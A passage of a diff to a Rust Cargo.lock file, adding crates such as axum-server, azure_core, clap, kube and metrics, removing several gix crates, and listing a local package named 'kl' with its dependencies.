"290f7f2596bd5b78a9fec8088ccd89180d7f9f55b94b0576823bbbdc72ee8311" +dependencies = [ + "event-listener", + "event-listener-strategy", + "pin-project-lite", +] + +[[package]] +name = "async-stream" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b5a71a6f37880a80d1d7f19efd781e4b5de42c88f0722cc13bcb6cc2cfe8476" +dependencies = [ + "async-stream-impl", + "futures-core", + "pin-project-lite", +] + +[[package]] +name = "async-stream-impl" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7c24de15d275a1ecfd47a380fb4d5ec9bfe0933f309ed5e705b775596a3574d" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", +] + [[package]] name = "async-trait" version = "0.1.92" @@ -245,6 +378,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "31b698c5f9a010f6573133b09e0de5408834d0c82f8d7475a89fc1867a71cd90" dependencies = [ "axum-core", + "base64", "bytes", "form_urlencoded", "futures-util", @@ -263,8 +397,10 @@ dependencies = [ "serde_json", "serde_path_to_error", "serde_urlencoded", + "sha1 0.10.7", "sync_wrapper", "tokio", + "tokio-tungstenite", "tower", "tower-layer", "tower-service", @@ -290,6 +426,78 @@ dependencies = [ "tracing", ] +[[package]] +name = "axum-server" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1df331683d982a0b9492b38127151e6453639cd34926eb9c07d4cd8c6d22bfc" +dependencies = [ + "arc-swap", + "bytes", + "either", + "fs-err", + "http", + "http-body", + "hyper", + "hyper-util", + "pin-project-lite", + "rustls", + "rustls-pki-types", + "tokio", + "tokio-rustls", + "tower-service", +] + +[[package]] +name = "azure_core" +version = "0.31.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dfe45c6bd7ce3a592327ee4e35b5bd16681714c4443c8a9884abb5731cc4d833" +dependencies = [ + "async-lock", + "async-trait", + "azure_core_macros", + "bytes", + "futures", + "hmac 0.12.1", + "pin-project", + "rustc_version", + "serde", + "serde_json", + "sha2 0.10.9", + "tracing", + "typespec", + "typespec_client_core", +] + +[[package]] +name = "azure_core_macros" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "190d6e0622d17e2a28239b55d2829d98b348269adcd4ab86a21d3304aa3500cb" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.119", + "tracing", +] + +[[package]] +name = "azure_data_cosmos" +version = "0.30.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "196ab882f9a566826713e52ab6bd3a744c4942699f20970565194a81a268ce93" +dependencies = [ + "async-lock", + "async-trait", + "azure_core", + "futures", + "serde", + "serde_json", + "tracing", + "url", +] + [[package]] name = "backon" version = "1.6.0" @@ -598,9 +806,9 @@ checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527" [[package]] name = "chacha20" -version = "0.10.1" +version = "0.10.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d524456ba66e72eb8b115ff89e01e497f8e6d11d78b70b1aa13c0fbd97540a81" +checksum = "65c35e4b699c7e15ccbe7ee35c005e4fc0a278d22238a2857e6ce2dadeda1b06" dependencies = [ "cfg-if", "cipher 0.5.2", @@ -645,6 +853,46 @@ dependencies = [ "zeroize", ] +[[package]] +name = "clap" +version = "4.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "473c7e07f409a8d772161724aa8db6a765a2532a70f9667eeb7b49d3d02fbdca" +dependencies = [ + "clap_builder", + "clap_derive", +] + +[[package]] +name = "clap_builder" +version = "4.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b48fea5a88e9ae728a2dcbedbfc0e730f7d60da42e1cb049a83c9fb8b789889" +dependencies = [ + "anstream", + "anstyle", + "clap_lex", + "strsim", +] + +[[package]] +name = "clap_derive" +version = "4.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d012d2b9d65aca7f18f4d9878a045bc17899bba951561ba5ec3c2ba1eed9a061" +dependencies = [ + "heck 0.5.0", + "proc-macro2", + "quote", + "syn 3.0.3", +] + +[[package]] +name = "clap_lex" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8d4a3bb8b1e0c1050499d1815f5ab16d04f0959b233085fb31653fbfc9d98f9" + [[package]] name = "cmac" version = "0.7.2" @@ -677,6 +925,12 @@ version = "0.2.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "d7ee2cfacbd29706479902b06d75ad8f1362900836aa32799eabc7e004bfd854" +[[package]] +name = "colorchoice" +version = "1.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d07550c9036bf2ae0c684c4297d503f838287c83c53686d05370d0e139ae570" + [[package]] name = "combine" version = "4.6.7" @@ -691,6 +945,23 @@ dependencies = [ "tokio-util", ] +[[package]] +name = "compression-codecs" +version = "0.4.38" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce2548391e9c1929c21bf6aa2680af86fe4c1b33e6cea9ac1cfeec0bd11218cf" +dependencies = [ + "compression-core", + "flate2", + "memchr", +] + +[[package]] +name = "compression-core" +version = "0.4.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc14f565cf027a105f7a44ccf9e5b424348421a1d8952a8fc9d499d313107789" + [[package]] name = "concurrent-queue" version = "2.5.0" @@ -1086,20 +1357,6 @@ dependencies = [ "syn 2.0.119", ] -[[package]] -name = "dashmap" -version = "6.2.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e6361d5c062261c78a176addb82d4c821ae42bed6089de0e12603cd25de2059c" -dependencies = [ - "cfg-if", - "crossbeam-utils", - "hashbrown 0.14.5", - "lock_api", - "once_cell", - "parking_lot_core", -] - [[package]] name = "data-encoding" version = "2.11.1" @@ -1184,6 +1441,9 @@ name = "deranged" version = "0.5.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" +dependencies = [ + "serde_core", +] [[package]] name = "derive-syn-parse" @@ -1303,6 +1563,27 @@ dependencies = [ "ctutils", ] +[[package]] +name = "dirs" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3e8aa94d75141228480295a7d0e7feb620b1a5ad9f12bc40be62411e38cce4e" +dependencies = [ + "dirs-sys", +] + +[[package]] +name = "dirs-sys" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e01a3366d27ee9890022452ee61b2b63a67e6f13f58900b651ff5665f0bb1fab" +dependencies = [ + "libc", + "option-ext", + "redox_users", + "windows-sys 0.61.2", +] + [[package]] name = "displaydoc" version = "0.2.7" @@ -1355,6 +1636,12 @@ dependencies = [ "winnow 0.6.26", ] +[[package]] +name = "dyn-clone" +version = "1.0.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" + [[package]] name = "eax" version = "0.5.0" @@ -1448,6 +1735,18 @@ dependencies = [ "zeroize", ] +[[package]] +name = "educe" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1d7bc049e1bd8cdeb31b68bbd586a9464ecf9f3944af3958a7a9d0f8b9799417" +dependencies = [ + "enum-ordinalize", + "proc-macro2", + "quote", + "syn 2.0.119", +] + [[package]] name = "either" version = "1.17.0" @@ -1510,6 +1809,35 @@ dependencies = [ "cfg-if", ] +[[package]] +name = "encoding_rs_io" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fba3fe847045ecff794b9c138293a80db914678c453ad63fbf0c6a9eb6e00b22" +dependencies = [ + "encoding_rs", +] + +[[package]] +name = "enum-ordinalize" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89dd01549b09589510cf0647475075d12071456586d70f5c75c98ae2a5537677" +dependencies = [ + "enum-ordinalize-derive", +] + +[[package]] +name = "enum-ordinalize-derive" +version = "4.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a65863d15a4ce2888bd2f0f543cc963d3879c3a022c8ee43f6141d479a3ac815" +dependencies = [ + "proc-macro2", + "quote", + "syn 3.0.3", +] + [[package]] name = "enum_dispatch" version = "0.3.13" @@ -1558,6 +1886,17 @@ dependencies = [ "pin-project-lite", ] +[[package]] +name = "evmap" +version = "11.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b8874945f036109c72242964c1174cf99434e30cfa45bf45fedc983f50046f8" +dependencies = [ + "hashbag", + "left-right", + "smallvec", +] + [[package]] name = "fail-parallel" version = "0.6.0" @@ -1645,16 +1984,6 @@ dependencies = [ "version_check", ] -[[package]] -name = "filetime" -version = "0.2.29" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5c287a33c7f0a620c38e641e7f60827713987b3c0f26e8ddc9462cc69cf75759" -dependencies = [ - "cfg-if", - "libc", -] - [[package]] name = "find-msvc-tools" version = "0.1.11" @@ -1701,10 +2030,25 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "77ce24cb58228fbb8aa041425bb1050850ac19177686ea6e0f41a70416f56fdb" [[package]] -name = "form_urlencoded" -version = "1.2.2" +name = "foreign-types" +version = "0.3.2" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" +checksum = "f6f339eb8adc052cd2ca78910fda869aefa38d22d5cb648e6485e4d3fc06f3b1" +dependencies = [ + "foreign-types-shared", +] + +[[package]] +name = "foreign-types-shared" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "00b0228411908ca8685dba7fc2cdd70ec9990a6e753e89b6ac91a84c40fbaf4b" + +[[package]] +name = "form_urlencoded" +version = "1.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb4cb245038516f5f85277875cdaa4f7d2c9a0fa0468de06ed190163b1581fcf" dependencies = [ "percent-encoding", ] @@ -1823,6 +2167,16 @@ dependencies = [ "tokio", ] +[[package]] +name = "fs-err" +version = "3.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b91aa448ca50d7e79433bdf3ee8d99215430d2ec02ade5aefab2a073a1822e8a" +dependencies = [ + "autocfg", + "tokio", +] + [[package]] name = "fs4" version = "0.13.1" @@ -1933,6 +2287,21 @@ dependencies = [ "slab", ] +[[package]] +name = "generator" +version = "0.8.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b3b854b0e584ead1a33f18b2fcad7cf7be18b3875c78816b753639aa501513ae" +dependencies = [ + "cc", + "cfg-if", + "libc", + "log", + "rustversion", + "windows-link 0.2.1", + "windows-result 0.4.1", +] + [[package]] name = "generic-array" version = "0.14.7" @@ -2026,32 +2395,6 @@ dependencies = [ "gix-error", ] -[[package]] -name = "gix-attributes" -version = "0.34.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c31c593692ebdc1e38858d9a2b56f6a594c501e24a38971fe6685571f5a07be0" -dependencies = [ - "bstr", - "gix-features", - "gix-glob", - "gix-path", - "gix-quote", - "gix-trace", - "smallvec", - "thiserror 2.0.20", - "unicode-bom", -] - -[[package]] -name = "gix-bitmap" -version = "0.3.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7cd1d118d0f5d88b96e6f6e13b566475fef4797ead4a02c26fed36c1375066f7" -dependencies = [ - "gix-error", -] - [[package]] name = "gix-chunk" version = "0.7.3" @@ -2061,19 +2404,6 @@ dependencies = [ "gix-error", ] -[[package]] -name = "gix-command" -version = "0.9.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cf4363accdf6ef7ba861871d2d521ab7418a04aaaed919fadb022af71d379b12" -dependencies = [ - "bstr", - "gix-path", - "gix-quote", - "gix-trace", - "shell-words", -] - [[package]] name = "gix-commitgraph" version = "0.38.0" @@ -2107,17 +2437,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fee7d89a3c507491cdfc57a1d1e0e300214720b4f7709ebc253e422f99822bfc" dependencies = [ "bstr", - "gix-command", - "gix-filter", - "gix-fs", "gix-hash", - "gix-imara-diff", "gix-object", - "gix-path", - "gix-tempfile", - "gix-trace", - "gix-traverse", - "gix-worktree", "thiserror 2.0.20", ] @@ -2147,27 +2468,6 @@ dependencies = [ "walkdir", ] -[[package]] -name = "gix-filter" -version = "0.33.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e7b5dbf524d97e839f642930c76d7f011c0791e7d11d8148989ac5af7c76aa8" -dependencies = [ - "bstr", - "encoding_rs", - "gix-attributes", - "gix-command", - "gix-hash", - "gix-object", - "gix-packetline", - "gix-path", - "gix-quote", - "gix-trace", - "gix-utils", - "smallvec", - "thiserror 2.0.20", -] - [[package]] name = "gix-fs" version = "0.22.0" @@ -2181,18 +2481,6 @@ dependencies = [ "thiserror 2.0.20", ] -[[package]] -name = "gix-glob" -version = "0.27.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "421e92a711554fa5827d1b0599d3389acdd0f6729e97a8c5a57d79af1e50bf36" -dependencies = [ - "bitflags 2.13.1", - "bstr", - "gix-features", - "gix-path", -] - [[package]] name = "gix-hash" version = "0.26.0" @@ -2216,94 +2504,6 @@ dependencies = [ "parking_lot", ] -[[package]] -name = "gix-ignore" -version = "0.22.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "12cff8e8aa125e39377456073e63df3334d9e5741372ddcc226198015076dda2" -dependencies = [ - "bstr", - "gix-glob", - "gix-path", - "gix-trace", - "unicode-bom", -] - -[[package]] -name = "gix-imara-diff" -version = "0.2.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1a791e6620676a875f362f3156ed213e73ca099a09bf992c18812abe65cc37b1" -dependencies = [ - "bstr", - "hashbrown 0.17.1", -] - -[[package]] -name = "gix-index" -version = "0.54.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5009c4e7e9f9b4cfaaab1153e49133eb04d79c015b5702d6c3d2ab94271a89c6" -dependencies = [ - "bitflags 2.13.1", - "bstr", - "filetime", - "fnv", - "gix-bitmap", - "gix-features", - "gix-fs", - "gix-hash", - "gix-lock", - "gix-object", - "gix-traverse", - "gix-utils", - "gix-validate", - "hashbrown 0.17.1", - "itoa", - "libc", - "memmap2", - "rustix", - "smallvec", - "thiserror 2.0.20", -] - -[[package]] -name = "gix-lock" -version = "24.0.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "d4c69157820343bf1c6e4b88b9808e920900de02e18aaf5862b30ada43814848" -dependencies = [ - "gix-tempfile", - "gix-utils", - "thiserror 2.0.20", -] - -[[package]] -name = "gix-merge" -version = "0.19.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c7b2e202fa474a3dd0bbd551be35adf199be0bf5c925fd7707fff2fdb520f651" -dependencies = [ - "bstr", - "gix-command", - "gix-diff", - "gix-filter", - "gix-fs", - "gix-hash", - "gix-imara-diff", - "gix-index", - "gix-object", - "gix-path", - "gix-quote", - "gix-revision", - "gix-revwalk", - "gix-tempfile", - "gix-trace", - "gix-worktree", - "nonempty", - "thiserror 2.0.20", -] - [[package]] name = "gix-object" version = "0.63.0" @@ -2368,18 +2568,6 @@ dependencies = [ "thiserror 2.0.20", ] -[[package]] -name = "gix-packetline" -version = "0.22.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "3766025c72319c4accdd854a18e6f0dd176c8eb0f3bc8a60a7765be2b50cabf2" -dependencies = [ - "bstr", - "faster-hex", - "gix-trace", - "thiserror 2.0.20", -] - [[package]] name = "gix-path" version = "0.12.4" @@ -2403,24 +2591,6 @@ dependencies = [ "gix-utils", ] -[[package]] -name = "gix-revision" -version = "0.48.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e55e09d4a1ecf2beecc8c09cafcad37979e805b31f588b0e957e191df5783681" -dependencies = [ - "bitflags 2.13.1", - "bstr", - "gix-commitgraph", - "gix-date", - "gix-error", - "gix-hash", - "gix-object", - "gix-revwalk", - "gix-trace", - "nonempty", -] - [[package]] name = "gix-revwalk" version = "0.34.0" @@ -2443,7 +2613,6 @@ version = "24.0.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b675b920bd5a61d17ad542772f03ec34c60feb8ff683e1560c03ae967363731e" dependencies = [ - "dashmap", "gix-fs", "libc", "parking_lot", @@ -2493,24 +2662,6 @@ dependencies = [ "bstr", ] -[[package]] -name = "gix-worktree" -version = "0.55.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "31eb8e675122e83585e461fe28f68ff8c5ed55b49017b697e7e76423ff973424" -dependencies = [ - "bstr", - "gix-attributes", - "gix-fs", - "gix-glob", - "gix-hash", - "gix-ignore", - "gix-index", - "gix-object", - "gix-path", - "gix-validate", -] - [[package]] name = "gix-zlib" version = "0.1.0" @@ -2533,6 +2684,16 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "granit-parser" +version = "0.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d03f81ad4732830d85cfd417a9f62cde6dadda4354d37d078a6084a19560aa2d" +dependencies = [ + "arraydeque", + "smallvec", +] + [[package]] name = "group" version = "0.13.0" @@ -2557,9 +2718,9 @@ dependencies = [ [[package]] name = "h2" -version = "0.4.15" +version = "0.4.18" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6cb093c84e8bd9b188d4c4a8cb6579fc016968d14c99882163cd3ff402a4f155" +checksum = "839c0e8a181239723652be9062bb56ca5bf5f64011f73b623f6f4fc59086a228" dependencies = [ "atomic-waker", "bytes", @@ -2584,10 +2745,10 @@ dependencies = [ ] [[package]] -name = "hashbrown" -version = "0.14.5" +name = "hashbag" +version = "0.1.13" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" +checksum = "7040a10f52cba493ddb09926e15d10a9d8a28043708a405931fe4c6f19fac064" [[package]] name = "hashbrown" @@ -2636,6 +2797,12 @@ version = "0.4.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8" +[[package]] +name = "heck" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" + [[package]] name = "hermit-abi" version = "0.5.2" @@ -2690,6 +2857,17 @@ dependencies = [ "digest 0.11.3", ] +[[package]] +name = "hostname" +version = "0.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "617aaa3557aef3810a6369d0a99fac8a080891b68bd9f9812a1eeda0c0730cbd" +dependencies = [ + "cfg-if", + "libc", + "windows-link 0.2.1", +] + [[package]] name = "http" version = "1.5.0" @@ -2784,12 +2962,43 @@ dependencies = [ "http", "hyper", "hyper-util", + "log", "rustls", + "rustls-native-certs 0.8.4", "tokio", "tokio-rustls", "tower-service", ] +[[package]] +name = "hyper-timeout" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b90d566bffbce6a75bd8b09a05aa8c2cb1fabb6cb348f8840c9e4c90a0d83b0" +dependencies = [ + "hyper", + "hyper-util", + "pin-project-lite", + "tokio", + "tower-service", +] + +[[package]] +name = "hyper-tls" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70206fc6890eaca9fde8a0bf71caa2ddfc9fe045ac9e5c70df101a7dbde866e0" +dependencies = [ + "bytes", + "http-body-util", + "hyper", + "hyper-util", + "native-tls", + "tokio", + "tokio-native-tls", + "tower-service", +] + [[package]] name = "hyper-util" version = "0.1.20" @@ -3029,6 +3238,31 @@ version = "2.12.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a756c3fac73139e83f14c2d742155dd2b78d3ee56597b419a0579b7bdd6dd78" +[[package]] +name = "is-docker" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "928bae27f42bc99b60d9ac7334e3a21d10ad8f1835a4e12ec3ec0464765ed1b3" +dependencies = [ + "once_cell", +] + +[[package]] +name = "is-wsl" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "173609498df190136aa7dea1a91db051746d339e18476eed5ca40521f02d7aa5" +dependencies = [ + "is-docker", + "once_cell", +] + +[[package]] +name = "is_terminal_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a6cb138bb79a146c1bd460005623e142ef0181e3d0219cb493e02f7d08a35695" + [[package]] name = "itertools" version = "0.13.0" @@ -3185,6 +3419,41 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "json-patch" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7421438de105a0827e44fadd05377727847d717c80ce29a229f85fd04c427b72" +dependencies = [ + "jsonptr", + "serde", + "serde_json", + "thiserror 2.0.20", +] + +[[package]] +name = "jsonpath-rust" +version = "1.0.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8edb06feabbd4c3fe17e2572f391510e08a011b92f53a7b76236eeb18191cfbe" +dependencies = [ + "pest", + "pest_derive", + "regex", + "serde_json", + "thiserror 2.0.20", +] + +[[package]] +name = "jsonptr" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a5a3cc660ba5d72bce0b3bb295bf20847ccbb40fd423f3f05b61273672e561fe" +dependencies = [ + "serde", + "serde_json", +] + [[package]] name = "jsonwebtoken" version = "11.0.0" @@ -3221,6 +3490,19 @@ dependencies = [ "signature 2.2.0", ] +[[package]] +name = "k8s-openapi" +version = "0.28.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d9c6922f6afe80418dd6019818af5d0d34584c371780ff09b9752370c25b4abb" +dependencies = [ + "base64", + "jiff", + "schemars", + "serde", + "serde_json", +] + [[package]] name = "keccak" version = "0.1.6" @@ -3250,6 +3532,134 @@ dependencies = [ "rand_core 0.10.1", ] +[[package]] +name = "kl" +version = "0.1.0" +dependencies = [ + "axum", + "base64", + "clap", + "dirs", + "futures", + "open", + "reqwest 0.13.4", + "rustls", + "serde", + "serde_json", + "tempfile", + "tokio", + "tokio-tungstenite", +] + +[[package]] +name = "kube" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "208d7fe1380066abb194812a8a8e303cb896a33bb3d7b3177b71bd03ff39bf18" +dependencies = [ + "k8s-openapi", + "kube-client", + "kube-core", + "kube-derive", + "kube-runtime", +] + +[[package]] +name = "kube-client" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e940a73033a7c5c7918b5ece7851d84571b58be25e937198da37fa13f116d3" +dependencies = [ + "base64", + "bytes", + "either", + "futures", + "http", + "http-body", + "http-body-util", + "hyper", + "hyper-rustls", + "hyper-timeout", + "hyper-util", + "jiff", + "jsonpath-rust", + "k8s-openapi", + "kube-core", + "pem", + "rustls", + "rustls-platform-verifier", + "secrecy", + "serde", + "serde-saphyr", + "serde_json", + "thiserror 2.0.20", + "tokio", + "tokio-util", + "tower", + "tower-http", + "tracing", +] + +[[package]] +name = "kube-core" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d2353c118cf3462c352ee0b5bd5b0cf17990af456dfd8662d136ff9812eeb4" +dependencies = [ + "derive_more", + "form_urlencoded", + "http", + "jiff", + "json-patch", + "k8s-openapi", + "schemars", + "serde", + "serde-value", + "serde_json", + "thiserror 2.0.20", +] + +[[package]] +name = "kube-derive" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "92141c19e1fa83bf91633c1234c66b03375c29aa8ca5486331ddb47e3a3da9c0" +dependencies = [ + "darling 0.23.0", + "proc-macro2", + "quote", + "serde", + "serde_json", + "syn 2.0.119", +] + +[[package]] +name = "kube-runtime" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3eb064ef71c7bea55e934a443960da9e9ec31fbb2ba63e47e4aeca32603d5cc7" +dependencies = [ + "ahash", + "async-broadcast", + "async-stream", + "backon", + "educe", + "futures", + "hashbrown 0.16.1", + "hostname", + "json-patch", + "k8s-openapi", + "kube-client", + "parking_lot", + "pin-project", + "serde", + "serde_json", + "thiserror 2.0.20", + "tokio", + "tokio-util", + "tracing", +] + [[package]] name = "lazy_static" version = "1.5.0" @@ -3259,6 +3669,17 @@ dependencies = [ "spin 0.9.9", ] +[[package]] +name = "left-right" +version = "0.11.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8bc015ded5d9b3054dbbdb63332cdd6ee42352ccef19e911e25117490e2f48ee" +dependencies = [ + "crossbeam-utils", + "loom", + "slab", +] + [[package]] name = "libc" version = "0.2.189" @@ -3271,6 +3692,15 @@ version = "0.2.16" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b6d2cec3eae94f9f509c767b45932f1ada8350c4bdb85af2fcab4a3c14807981" +[[package]] +name = "libredox" +version = "0.1.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7955dfc218a8afb29dfeffd540e3a6e96baeb94fe7138228dd7cc6937fbbf96" +dependencies = [ + "libc", +] + [[package]] name = "linux-raw-sys" version = "0.12.1" @@ -3298,6 +3728,19 @@ version = "0.4.33" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0ceec5bc11778974d1bcb055b18002eba7f4b3518b6a0081b3af5f21666da9ad" +[[package]] +name = "loom" +version = "0.7.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "419e0dc8046cb947daa77eb95ae174acfbddb7673b4151f56d1eed8e93fbfaca" +dependencies = [ + "cfg-if", + "generator", + "scoped-tls", + "tracing", + "tracing-subscriber", +] + [[package]] name = "lru" version = "0.18.2" @@ -3380,6 +3823,15 @@ dependencies = [ "syn 2.0.119", ] +[[package]] +name = "matchers" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d1525a2a28c7f4fa0fc98bb91ae755d1e2d1505079e05539e35bc876b5d65ae9" +dependencies = [ + "regex-automata", +] + [[package]] name = "matchit" version = "0.8.4" @@ -3446,6 +3898,48 @@ dependencies = [ "autocfg", ] +[[package]] +name = "metrics" +version = "0.24.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89550ee9f79e88fef3119de263694973a8adb26c21d75322164fb8c493039fe2" +dependencies = [ + "portable-atomic", + "rapidhash", +] + +[[package]] +name = "metrics-exporter-prometheus" +version = "0.18.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1db0d8f1fc9e62caebd0319e11eaec5822b0186c171568f0480b46a0137f9108" +dependencies = [ + "base64", + "evmap", + "indexmap", + "metrics", + "metrics-util", + "quanta", + "thiserror 2.0.20", +] + +[[package]] +name = "metrics-util" +version = "0.20.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96f8722f8562635f92f8ed992f26df0532266eb03d5202607c20c0d7e9745e13" +dependencies = [ + "crossbeam-epoch", + "crossbeam-utils", + "hashbrown 0.16.1", + "metrics", + "quanta", + "rand 0.9.5", + "rand_xoshiro", + "rapidhash", + "sketches-ddsketch", +] + [[package]] name = "mime" version = "0.3.17" @@ -3581,6 +4075,23 @@ dependencies = [ "syn 2.0.119", ] +[[package]] +name = "native-tls" +version = "0.2.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "465500e14ea162429d264d44189adc38b199b62b1c21eea9f69e4b73cb03bbf2" +dependencies = [ + "libc", + "log", + "openssl", + "openssl-probe 0.2.1", + "openssl-sys", + "schannel", + "security-framework 3.7.0", + "security-framework-sys", + "tempfile", +] + [[package]] name = "nix" version = "0.31.3" @@ -3593,6 +4104,12 @@ dependencies = [ "libc", ] +[[package]] +name = "nohash-hasher" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2bf50223579dc7cdcfb3bfcacf7069ff68243f8c363f62ffa99cf000a6b9c451" + [[package]] name = "nom" version = "8.0.0" @@ -3617,6 +4134,15 @@ dependencies = [ "winapi", ] +[[package]] +name = "nu-ansi-term" +version = "0.50.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7957b9740744892f114936ab4a57b3f487491bbeafaf8083688b16841a4240e5" +dependencies = [ + "windows-sys 0.61.2", +] + [[package]] name = "num-bigint" version = "0.4.8" @@ -3757,7 +4283,7 @@ dependencies = [ "percent-encoding", "quick-xml", "rand 0.10.2", - "reqwest", + "reqwest 0.13.4", "rustls-pki-types", "serde", "serde_json", @@ -3790,12 +4316,53 @@ version = "1.21.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9f7c3e4beb33f85d45ae3e3a1792185706c8e16d043238c593331cc7cd313b50" +[[package]] +name = "once_cell_polyfill" +version = "1.70.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "384b8ab6d37215f3c5301a95a4accb5d64aa607f1fcb26a11b5303878451b4fe" + [[package]] name = "opaque-debug" version = "0.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" +[[package]] +name = "open" +version = "5.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ade3be4664bc1ef537ce133015f04c176b737815c2ba9fd60edf212d6e90dd55" +dependencies = [ + "is-wsl", + "libc", +] + +[[package]] +name = "openssl" +version 